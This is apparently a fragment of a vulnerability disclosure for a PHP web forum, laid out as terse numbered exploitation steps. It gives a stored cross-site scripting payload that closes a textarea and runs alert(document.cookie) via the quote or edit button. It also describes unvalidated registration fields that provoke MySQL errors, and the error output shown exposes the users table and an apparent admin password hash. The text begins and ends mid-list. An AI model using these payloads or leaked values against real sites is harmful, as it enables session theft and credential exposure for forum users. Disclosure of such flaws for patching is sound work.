	- Post a message including the following line: &lt;/textarea&gt;'"><script>alert(document.cookie)</script>
	- Valid.
	- Click on "Citer" to execute the script.

	You can also do it with the edit button (after loging in).

2-

	It will dump a MySQL error message which can dump login:pw infos.

3-

	login : 6b 66 73 6a 64 61 20 54 50 68 70 45 72 72 6f 72 45 78 63 65

	passwd:blabla
	email:[email protected]
	- Valid.

	This form is not validated at all, so it can cause a MySQL error like :

	Mysql error in file
	/home/httpd/vhosts/www.**********.com/web/forum/index/actions.php in
	function subscribe at line 222

	Mysql query error :
	INSERT INTO atk_users (login,owner,passwd,email,show_email,alert_mp,subscribe)
		VALUES ('6b 66 73 6a 64 61 20 54 50 68
	[...]','admin','atHax4CLQE42Q','[email protected]','1','1','1141202540')

	Please note this error and contact your administrator.
